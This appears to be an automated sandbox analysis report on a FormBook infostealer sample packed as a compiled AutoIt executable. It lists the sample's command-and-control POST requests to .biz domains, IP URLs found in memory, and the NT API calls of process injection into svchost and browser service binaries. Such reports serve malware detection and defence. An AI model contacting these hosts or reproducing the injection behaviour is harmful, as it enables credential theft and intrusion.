Source: global traffic	HTTP traffic detected: POST /wdqbfpac HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: warkcdu.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 874
Source: global traffic	HTTP traffic detected: POST /tebnqgy HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: rynmcq.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 874
Source: global traffic	HTTP traffic detected: POST /lglaocayhhpbni HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: rynmcq.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 874
Source: global traffic	HTTP traffic detected: POST /bjgvdeudf HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: eufxebus.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 874

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: pywolwnvd.biz
Source: global traffic	DNS traffic detected: DNS query: ssbzmoy.biz
Source: global traffic	DNS traffic detected: DNS query: cvgrf.biz
Source: global traffic	DNS traffic detected: DNS query: pwlqfu.biz

Source: unknown

HTTP traffic detected: POST /sqhuoucbvpfptw HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: pywolwnvd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 800

Source: BzK8rQh2O3.exe, 00000000.00000003.1758322463.0000000000B72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107/
Source: BzK8rQh2O3.exe, 00000000.00000003.1758322463.0000000000B6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107/ahu
Source: BzK8rQh2O3.exe, 00000000.00000003.1758322463.0000000000B6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107/ahuM-
Source: BzK8rQh2O3.exe, 00000000.00000003.1757872961.0000000000BF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107:80/ahu
Source: BzK8rQh2O3.exe, 00000000.00000003.1743530984.0000000000B62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177/H
Source: BzK8rQh2O3.exe, 00000000.00000003.1733011212.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1736030447.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1757872961.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1743530984.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1743990008.0000000000B84000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1734456516.0000000000B84000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1734887127.0000000000B84000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1736030447.0000000000B84000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1757872961.0000000000B84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177/sqhuoucbvpfptw
Source: BzK8rQh2O3.exe, 00000000.00000003.1733011212.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1736030447.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1757872961.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1743530984.0000000000C77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177/sqhuoucbvpfptwW
Source: BzK8rQh2O3.exe, 00000000.00000003.1733197857.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1744833710.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1734822770.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1744568591.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1745163536.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1737280802.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1746579812.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1736599685.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1737178163.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1735908567.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1736723081.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1758121231.0000000000DD4000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1733503393.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1745592328.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1745421290.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1736845295.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1744676010.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1733825138.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1743165787.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1736468723.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1737068539.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177/x
Source: BzK8rQh2O3.exe, 00000000.00000003.1757872961.0000000000BF2000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1743990008.0000000000BF2000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1736030447.0000000000C00000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1734887127.0000000000C00000.00000004.00000020.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1734456516.0000000000C00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177:80/sqhuoucbvpfptws
Source: AppVClient.exe, 00000006.00000003.1740542601.0000000000575000.00000004.00000020.00020000.00000000.sdmp, AppVClient.exe, 00000006.00000003.1740328267.0000000000566000.00000004.00000020.00020000.00000000.sdmp, AppVClient.exe, 00000006.00000003.1739746989.0000000000510000.00000004.00000020.00020000.00000000.sdmp, AppVClient.exe, 00000006.00000002.1757094761.0000000000575000.00000004.00000020.00020000.00000000.sdmp, AppVClient.exe, 00000006.00000003.1740108258.0000000000517000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.micrXXG

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 10.2.svchost.exe.2d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.svchost.exe.2d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.2005006372.0000000002D10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2003602986.00000000002D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Binary is likely a compiled AutoIt script file

Source: BzK8rQh2O3.exe, 00000000.00000000.1703265931.00000000004B4000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_bb8862a3-2
Source: BzK8rQh2O3.exe, 00000000.00000000.1703265931.00000000004B4000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`	memstr_82890010-8
Source: BzK8rQh2O3.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_086e9bc4-1
Source: BzK8rQh2O3.exe	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`	memstr_9d70c588-5

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_002FCA93 NtClose,	10_2_002FCA93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F735C0 NtCreateMutant,LdrInitializeThunk,	10_2_02F735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F72B60 NtClose,LdrInitializeThunk,	10_2_02F72B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F72DF0 NtQuerySystemInformation,LdrInitializeThunk,	10_2_02F72DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F74340 NtSetContextThread,	10_2_02F74340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F73090 NtSetValueKey,	10_2_02F73090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F73010 NtOpenDirectoryObject,	10_2_02F73010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F74650 NtSuspendThread,	10_2_02F74650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F72AF0 NtWriteFile,	10_2_02F72AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F72AD0 NtReadFile,	10_2_02F72AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F72AB0 NtWaitForSingleObject,	10_2_02F72AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F72BF0 NtAllocateVirtualMemory,	10_2_02F72BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F72BE0 NtQueryValueKey,	10_2_02F72BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F72BA0 NtEnumerateValueKey,	10_2_02F72BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F72B80 NtQueryInformationFile,	10_2_02F72B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F739B0 NtGetContextThread,	10_2_02F739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F72EE0 NtQueueApcThread,	10_2_02F72EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F72EA0 NtAdjustPrivilegesToken,	10_2_02F72EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F72E80 NtReadVirtualMemory,	10_2_02F72E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F72E30 NtWriteVirtualMemory,	10_2_02F72E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F72FE0 NtCreateFile,	10_2_02F72FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F72FB0 NtResumeThread,	10_2_02F72FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F72FA0 NtQuerySection,	10_2_02F72FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F72F90 NtProtectVirtualMemory,	10_2_02F72F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F72F60 NtCreateProcessEx,	10_2_02F72F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F72F30 NtCreateSection,	10_2_02F72F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F72CF0 NtOpenProcess,	10_2_02F72CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F72CC0 NtQueryVirtualMemory,	10_2_02F72CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F72CA0 NtQueryInformationToken,	10_2_02F72CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F72C70 NtFreeVirtualMemory,	10_2_02F72C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F72C60 NtCreateKey,	10_2_02F72C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F72C00 NtQueryInformationProcess,	10_2_02F72C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F72DD0 NtDelayExecution,	10_2_02F72DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F72DB0 NtEnumerateKey,	10_2_02F72DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F73D70 NtOpenThread,	10_2_02F73D70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F72D30 NtUnmapViewOfSection,	10_2_02F72D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F72D10 NtMapViewOfSection,	10_2_02F72D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F73D10 NtOpenProcessToken,	10_2_02F73D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F72D00 NtSetInformationFile,	10_2_02F72D00

Source: C:\Windows\System32\AppVClient.exe

File created: C:\Windows\system32\config\systemprofile\AppData\Roaming\8227aa636967b89b.bin

Jump to behavior

Source: C:\Windows\System32\AppVClient.exe	Code function: 6_2_0076A810	6_2_0076A810
Source: C:\Windows\System32\AppVClient.exe	Code function: 6_2_00747C00	6_2_00747C00
Source: C:\Windows\System32\AppVClient.exe	Code function: 6_2_00772D40	6_2_00772D40
Source: C:\Windows\System32\AppVClient.exe	Code function: 6_2_007479F0	6_2_007479F0
Source: C:\Windows\System32\AppVClient.exe	Code function: 6_2_0076EEB0	6_2_0076EEB0
Source: C:\Windows\System32\AppVClient.exe	Code function: 6_2_007692A0	6_2_007692A0
Source: C:\Windows\System32\AppVClient.exe	Code function: 6_2_007693B0	6_2_007693B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_002D1ACB	10_2_002D1ACB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_002FF0B3	10_2_002FF0B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_002E01D3	10_2_002E01D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_002D2A90	10_2_002D2A90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_002D32F0	10_2_002D32F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_002E6B8E	10_2_002E6B8E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_002E6B93	10_2_002E6B93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_002E03F3	10_2_002E03F3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_002DE3D3	10_2_002DE3D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_002D1C3A	10_2_002D1C3A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_002D1C40	10_2_002D1C40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_002DE523	10_2_002DE523
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_002DE51C	10_2_002DE51C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_002D2E49	10_2_002D2E49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_002D2E50	10_2_002D2E50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_002D2720	10_2_002D2720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_002D2F19	10_2_002D2F19
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FE12ED	10_2_02FE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F5B2C0	10_2_02F5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F452A0	10_2_02F452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FE0274	10_2_02FE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_030003E6	10_2_030003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F4E3F0	10_2_02F4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F8739A	10_2_02F8739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FFA352	10_2_02FFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2D34C	10_2_02F2D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FF132D	10_2_02FF132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FF70E9	10_2_02FF70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FFF0E0	10_2_02FFF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FEF0CC	10_2_02FEF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F470C0	10_2_02F470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_0300B16B	10_2_0300B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_030001AA	10_2_030001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FF81CC	10_2_02FF81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F4B1B0	10_2_02F4B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2F172	10_2_02F2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F7516C	10_2_02F7516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FDA118	10_2_02FDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F30100	10_2_02F30100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F5C6E0	10_2_02F5C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FF16CC	10_2_02FF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F3C7C0	10_2_02F3C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FFF7B0	10_2_02FFF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F40770	10_2_02F40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F64750	10_2_02F64750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FEE4F6	10_2_02FEE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_03000591	10_2_03000591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F31460	10_2_02F31460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FF2446	10_2_02FF2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FFF43F	10_2_02FFF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FDD5B0	10_2_02FDD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FF7571	10_2_02FF7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F40535	10_2_02F40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FEDAC6	10_2_02FEDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FDDAAC	10_2_02FDDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F85AA0	10_2_02F85AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F3EA80	10_2_02F3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB3A6C	10_2_02FB3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FFFA49	10_2_02FFFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FF7A46	10_2_02FF7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F7DBF9	10_2_02F7DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FF6BD7	10_2_02FF6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F5FB80	10_2_02F5FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FFFB76	10_2_02FFFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FFAB40	10_2_02FFAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F6E8F0	10_2_02F6E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F438E0	10_2_02F438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F268B8	10_2_02F268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_0300A9A6	10_2_0300A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F42840	10_2_02F42840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F4A840	10_2_02F4A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FAD800	10_2_02FAD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F429A0	10_2_02F429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F56962	10_2_02F56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F49950	10_2_02F49950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F5B950	10_2_02F5B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FFEEDB	10_2_02FFEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F49EB0	10_2_02F49EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F52E90	10_2_02F52E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FFCE93	10_2_02FFCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F40E59	10_2_02F40E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FFEE26	10_2_02FFEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F32FC8	10_2_02F32FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FFFFB1	10_2_02FFFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F41F92	10_2_02F41F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB4F40	10_2_02FB4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F60F30	10_2_02F60F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F82F28	10_2_02F82F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FFFF09	10_2_02FFFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F30CF2	10_2_02F30CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FFFCF2	10_2_02FFFCF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FE0CB5	10_2_02FE0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB9C32	10_2_02FB9C32
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F40C00	10_2_02F40C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F3ADE0	10_2_02F3ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F5FDC0	10_2_02F5FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F58DBF	10_2_02F58DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FF7D73	10_2_02FF7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FF1D5A	10_2_02FF1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F43D40	10_2_02F43D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F4AD00	10_2_02F4AD00
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Code function: 11_2_009BA810	11_2_009BA810
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Code function: 11_2_00997C00	11_2_00997C00
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Code function: 11_2_009979F0	11_2_009979F0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Code function: 11_2_009C2D40	11_2_009C2D40
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Code function: 11_2_009BEEB0	11_2_009BEEB0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Code function: 11_2_009B92A0	11_2_009B92A0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Code function: 11_2_009B93B0	11_2_009B93B0
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 12_2_022692A0	12_2_022692A0
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 12_2_0226EEB0	12_2_0226EEB0
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 12_2_022693B0	12_2_022693B0
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 12_2_02247C00	12_2_02247C00
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 12_2_0226A810	12_2_0226A810
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 12_2_02272D40	12_2_02272D40
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 12_2_022479F0	12_2_022479F0

Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Process token adjusted: Load Driver

Jump to behavior

Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Process token adjusted: Security

Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02F87E54 appears 87 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02FAEA12 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02FBF290 appears 105 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02F75130 appears 36 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02F2B970 appears 253 times

Source: elevation_service.exe.0.dr

Static PE information: Number of sections : 12 > 10

